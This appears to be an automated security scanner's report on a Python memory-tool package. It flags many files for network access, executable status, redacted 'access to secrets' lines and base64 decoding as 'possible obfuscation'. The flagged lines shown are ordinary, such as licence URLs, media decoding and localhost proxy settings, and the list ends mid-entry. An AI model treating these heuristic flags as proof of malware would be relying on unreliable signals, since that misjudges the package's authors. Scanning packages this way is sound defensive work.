# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 954
@server.tool(title="Fetch Memories", annotations=READ_ONLY) @admits(OperationKind.RECALL) async def fetch(fact_ids: "str | list[str]", profile_id: str = "") -> dict: - Network accessline 956
async def fetch(fact_ids: "str | list[str]", profile_id: str = "") -> dict: - Network accessline 1784
"license": "AGPL-3.0-or-later", "urls": { "product": "https://superlocalmemory.com", - Network accessline 1785
"urls": { "product": "https://superlocalmemory.com", "author": "https://varunpratap.com", - Network accessline 1786
"product": "https://superlocalmemory.com", - Network accessline 1787
"author": "https://varunpratap.com", - Network accessline 1788
"organization": "https://qualixar.com",
src/superlocalmemory/mcp/tools_evolution.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_expand.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_kinds.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_learning.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted]
src/superlocalmemory/mcp/tools_loops.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_media.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Possible obfuscationline 205
raw = base64.b64decode(str(data.get("base64") or ""), validate=True)
src/superlocalmemory/mcp/tools_media_upload.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_mesh.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 148
[Credential-related source omitted] - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 237
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 239
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 272
[Credential-related source omitted] - Access to secretsline 273
[Credential-related source omitted]
src/superlocalmemory/mcp/tools_mesh_remote.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_ops.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_optimize.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_summaries.py
src/superlocalmemory/mcp/tools_v28.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_v3.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_v33.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_views.py
src/superlocalmemory/media/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/erasure.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/erasure_documents.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/files.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/gc.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/generation.py
- Executable scriptline 1
Executable file
src/superlocalmemory/media/ingest.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 130
[Credential-related source omitted] - Possible obfuscationline 166
data = base64.b64decode(inp.base64, validate=True)
src/superlocalmemory/media/labels.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/readiness.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/repair.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/revet.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/schema.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/store_doc_erase.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/store_documents.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/store_erase.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/store_jobs.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/store_revet.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/media/upload_links.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Network accessline 59
UPLOAD_BASE_URL = "https://mcp.superlocalmemory.com"
src/superlocalmemory/memory_core/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/memory_core/duplicates.py
- Executable scriptline 1
Executable file
src/superlocalmemory/memory_core/save_path.py
src/superlocalmemory/memory_core/save_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/memory_core/submit.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/broker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 89
[Credential-related source omitted]
src/superlocalmemory/mesh/broker_cleanup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/broker_inbox.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 266
while True: seen = self._generation msgs = fetch() - Network accessline 267
seen = self._generation msgs = fetch() if msgs: - Network accessline 268
msgs = fetch()
src/superlocalmemory/mesh/broker_owner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/broker_profiles.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/broker_security.py
src/superlocalmemory/mesh/broker_web.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/broker_web_lease.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/discovery.py
- Executable scriptline 1
Executable file - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Network accessline 112
return env_ip try: with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: - Network accessline 113
try: with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: sock.connect(("8.8.8.8", 80)) - Network accessline 114
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
src/superlocalmemory/mesh/envelope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/lock_protocol.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/mesh_erasure.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/mesh_store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/node_identity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/outbox_remote.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mesh/remote_sync.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 16
Environment variables: SLM_MESH_PEER_URL: Full URL of remote SLM (e.g. http://192.168.1.100:8765) - Network accessline 17
SLM_MESH_PEER_URL: Full URL of remote SLM (e.g. http://192.168.1.100:8765) - Access to secretsline 49
[Credential-related source omitted] - Network accessline 96
rendered = rendered.replace("%", "%25") rendered = f"[{rendered}]" return f"http://{rendered}:{int(port)}" - Network accessline 98
return f"http://{rendered}:{int(port)}" - Network accessline 105
host: IP address string (v4 or v6). port: Port number. tls: When True, emit https:// instead of http://. - Network accessline 107
tls: When True, emit https:// instead of http://. - Network accessline 137
ctx = ssl.create_default_context(cafile=ca_file) with socket.create_connection((host, port), timeout=timeout) as raw_sock: - Network accessline 138
with socket.create_connection((host, port), timeout=timeout) as raw_sock: - Access to secretsline 210
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Network accessline 300
Default (no env) produces httpx.Client(timeout=timeout) — identical - Network accessline 303
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Network accessline 304
if ca_path: return httpx.Client(verify=ca_path, timeout=timeout) return httpx.Client(timeout=timeout) - Network accessline 305
return httpx.Client(verify=ca_path, timeout=timeout) - Network accessline 306
return httpx.Client(timeout=timeout) - Access to secretsline 326
[Credential-related source omitted] - Network accessline 330
parsed = httpx.URL(peer_url) - Access to secretsline 346
[Credential-related source omitted] - Network accessline 839
3b-3: When SLM_MESH_TLS=on, discovered peers use https:// instead of the default http://. Default OFF preserves today's behavior. - Network accessline 840
of the default http://. Default OFF preserves today's behavior. - Access to secretsline 850
[Credential-related source omitted]
src/superlocalmemory/mesh/state_sync.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/migrations/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/migrations/v3_4_25_to_v3_4_26.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/optimize/NOTICE
- Network accessline 3
1. LLMLingua-2 (MIT) Copyright (c) 2024 Microsoft Corporation Source: https://github.com/microsoft/LLMLingua - Network accessline 4
Copyright (c) 2024 Microsoft Corporation Source: https://github.com/microsoft/LLMLingua License: MIT - Network accessline 5
Source: https://github.com/microsoft/LLMLingua
src/superlocalmemory/optimize/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/adapters/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/adapters/_agent_registry.py
- Executable scriptline 1
Executable file - Network accessline 12
"binary": "claude", "mechanism": "env", "env_vars": {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765"}, - Network accessline 13
"mechanism": "env", "env_vars": {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765"}, "settings_path": None, - Network accessline 14
"env_vars": {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765"}, - Network accessline 25
"mechanism": "settings-file", "settings_path": "~/.claude/settings.json", "env_vars": {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765"}, - Network accessline 26
"settings_path": "~/.claude/settings.json", "env_vars": {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765"}, "protocol": "anthropic", - Network accessline 27
"env_vars": {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765"}, - Network accessline 48
"config_path": "{vscode_user_dir}/settings.json", "config_key": "cline.openAiApiBase", "config_value": "http://127.0.0.1:8765/v1", - Network accessline 49
"config_key": "cline.openAiApiBase", "config_value": "http://127.0.0.1:8765/v1", "protocol": "openai", - Network accessline 50
"config_value": "http://127.0.0.1:8765/v1", - Network accessline 72
"help_text": ( "Cursor settings cannot be automated via env vars.\n" "Manual: Settings → Models → Override OpenAI Base URL → http://127.0.0.1:8765/v1" - Network accessline 73
"Cursor settings cannot be automated via env vars.\n" "Manual: Settings → Models → Override OpenAI Base URL → http://127.0.0.1:8765/v1" ), - Network accessline 74
"Manual: Settings → Models → Override OpenAI Base URL → http://127.0.0.1:8765/v1" - Network accessline 79
"mechanism": "env", "env_vars": { "OPENAI_API_BASE": "http://127.0.0.1:8765/v1", - Network accessline 80
"env_vars": { "OPENAI_API_BASE": "http://127.0.0.1:8765/v1", "ANTHROPIC_BASE_URL": "http://127.0.0.1:8765", - Network accessline 81
"OPENAI_API_BASE": "http://127.0.0.1:8765/v1", - Network accessline 82
"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765", - Network accessline 91
"binary": "codex", "mechanism": "env", "env_vars": {"OPENAI_BASE_URL": "http://127.0.0.1:8765/v1"}, - Network accessline 92
"mechanism": "env", "env_vars": {"OPENAI_BASE_URL": "http://127.0.0.1:8765/v1"}, "protocol": "openai", - Network accessline 93
"env_vars": {"OPENAI_BASE_URL": "http://127.0.0.1:8765/v1"}, - Network accessline 115
"help_text": ( "Generic OpenAI-compatible client:\n" " export OPENAI_BASE_URL=http://127.0.0.1:8765/v1" - Network accessline 116
"Generic OpenAI-compatible client:\n" " export OPENAI_BASE_URL=http://127.0.0.1:8765/v1" ), - Network accessline 117
" export OPENAI_BASE_URL=http://127.0.0.1:8765/v1"
src/superlocalmemory/optimize/adapters/anthropic_adapter.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/adapters/openai_adapter.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/adapters/request_identity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/adapters/response_codec.py
- Executable scriptline 1
Executable file - Network accessline 8
# Typed SDK responses are Pydantic models. Official API contracts opened 2026-10-11: # https://github.com/openai/openai-python#using-types - Network accessline 9
# https://github.com/openai/openai-python#using-types - Network accessline 10
# https://github.com/anthropics/anthropic-sdk-python
src/superlocalmemory/optimize/adapters/wrap.py
src/superlocalmemory/optimize/cache/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/boundary_store.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/centroid_store.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/context_key.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/exact.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/invalidation.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/key_builder.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/manager.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/semantic.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/semantic_embedder.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/semantic_space.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/cache/stampede.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/compress/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/compress/align.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/compress/ccr.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/compress/prose_llmlingua.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/compress/router.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/config/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/config/defaults.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/config/schema.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/config/store.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/metrics/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/metrics/counters.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/optimize/metrics/estimator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/optimize/metrics/exporters.py
- Network accessline 1
